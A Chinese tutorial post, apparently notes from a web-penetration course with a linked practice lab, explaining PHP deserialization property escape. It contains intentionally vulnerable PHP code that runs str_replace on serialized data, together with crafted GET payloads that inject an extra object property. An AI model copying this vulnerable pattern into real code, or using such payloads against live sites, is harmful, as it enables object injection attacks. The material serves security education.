Web渗透—PHP反序列化????????课程学习分享(课程非本人制作,仅提供学习分享)
靶场下载地址:GitHub - mcc0624/php_ser_Class: php反序列化靶场课程,基于课程制作的靶场
反序列化分隔符
????????反序列化以?;}?结束,后面的字符串不影响正常的反序列化
属性逃逸
????????一般在数据先经过一次serizlize再经过unserialize,在这个中间反序列化的字符串变多或者变少的时候有可能存在反序列化属性逃逸。
<?php
class A{
public $v1="a\"b";
public $v2="dazhuang";
}
echo serialize(new A());
$b = 'O:1:"A":1:{s:2:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:2:"v2";N;}s:2:"v3";N;}';
var_dump(unserialize($b));
$b = 'O:1:"A":2:{s:22:"v1";s:1:"a";s:2:"v2";N;}';
var_dump(unserialize($b));
$b = 'O:1:"A":2:{s:2:"v1";s:1:"a";s:22:"v2";N;}';
var_dump(unserialize($b));
$b = 'O:1:"A":2:{s:2:"v1";s:2:"a1";s:2:"v3";s:3:"ben";}';
var_dump(unserialize($b));
?>
输出结果:
????????O:1:"A":2:{s:2:"v1";s:3:"a"b";s:2:"v2";s:8:"dazhuang";}
" 是字符还是格式符合,是由字符串长度 3 来判断的
????????bool(false)
成员属性数量不对,无法正常输出
????????object(A)#1 (2) {
????????? ["v1"]=>
????????? string(1) "a"
????????? ["v2"]=>
????????? NULL
????????}
在前面字符串没有问题的情况下,;} 是反序列化结束符,后面的字符串不影响反序列化结果
????????bool(false)
成员属性名称长度标识不对,无法正常输出
????????bool(false)
内容长度标识不对,无法正常输出
????????object(A)#1 (3) {
? ????????["v1"]=>
? ????????string(2) "a1"
? ????????["v2"]=>
? ????????string(8) "dazhuang"
? ????????["v3"]=>
? ????????string(3) "ben"
????????}
反序列化后的成员变量和成员属性是由我们传入的序列化字符串决定的
反序列化字符中需要成员属性数量一致,成员属性名称长度一致,内容长度一致;当三种都一致时,;}?就是反序列化的结束符
逃逸思路:
把吃进去的字符构建成功能性代码
<?php
class?A{
public?$v1?=?"abcsystem()system()system()";
public?$v2?=?'123';
public?function?__construct($arga,$argc){
$this->v1?=?$arga;
$this->v2?=?$argc;
}
}
$a?=?$_GET['v1'];
$b?=?$_GET['v2'];
$data?=?serialize(new?A($a,$b));
$data?=?str_replace("system()","",$data); //str_replace把"system()"替换为"空"
var_dump(unserialize($data));
?>
目标:通过修改v2的值”123”达到逃逸效果
通过上传:URL?v1=abcsystem()system()system()&v2=1234567";s:2:"v3";s:3:"123";}
达到属性逃逸
object(A)#1 (3) {
? ["v1"]=>
? string(27) "abc";s:2:"v2";s:29:"1234567"
? ["v2"]=>
? string(3) "123"
? ["v3"]=>
? string(3) "123"
}
反序列化依次识别解析:
O:1:"A":2:{s:2:"v1";s:35:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}
O:1:"A":2:{s:2:"v1";s:35:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}
O:1:"A":2:{s:2:"v1";s:35:"abc";s:2:"v2";s:29:"1234567";s:2:"v3";s:3:"123";}";}
字符串逃逸
反序列化字符串减少逃逸:多逃逸出一个成员属性,第一个字符串减少,吃掉有效代码,在第二个字符串构造代码
反序列化字符串增多逃逸:构造出一个逃逸成员属性,第一个字符串增多,吐出多余代码,把多余位代码构造成逃逸的成员属性
<?php
class A{
public $v1 = 'ls';
public $v2 = '123';
}
$data = serialize(new A());
echo $data."\n";
$data = str_replace("ls","pwd",$data); //str_replace把"ls"替换为"pwd"
echo $data;
var_dump(unserialize($data));
?>
输出结果:?
????????O:1:"A":2:{s:2:"v1";s:2:"ls";s:2:"v2";s:3:"123";}
????????O:1:"A":2:{s:2:"v1";s:2:"pwd";s:2:"v2";s:3:"123";}
字符增多,会把末尾多出来的字符挤出来
????????bool(false)
内容长度标识不对,无法正常输出
逃逸思路:
把吐出来的字符构建成功能性代码
目的:通过修改v2的值”123”达到逃逸效果
<?php
class?A{
public?$v1?=?'ls';
public?$v2?=?'123';
public?function?__construct($arga,$argc){
$this->v1?=?$arga;
$this->v2?=?$argc;
}
}
$a?=?$_GET['v1'];
$b?=?$_GET['v2'];
$data?=?serialize(new?A($a,$b));
$data?=?str_replace("ls","pwd",$data);
var_dump(unserialize($data));
?>
通过上传:url?v1=lslslslslslslslslslslslslslslslslslslslslsls";s:2:"v3";s:3:"666";}&v2=123
达到属性逃逸
第一个字符串多,吐出多余代码构造,造成逃逸成员属性
object(A)#1 (3) {
? ["v1"]=>
? string(66) "pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd"
? ["v2"]=>
? string(3) "123"
? ["v3"]=>
? string(3) "666"
}
反序列化依次识别解析:
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
O:1:"A":2:{s:2:"v1";s:66:"pwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwdpwd";s:2:"v3";s:3:"666";}";s:2:"v2";s:3:"123";}
注:因为字符串过长,导致格式问题,大家可以自行搭建环境进行尝试,练习?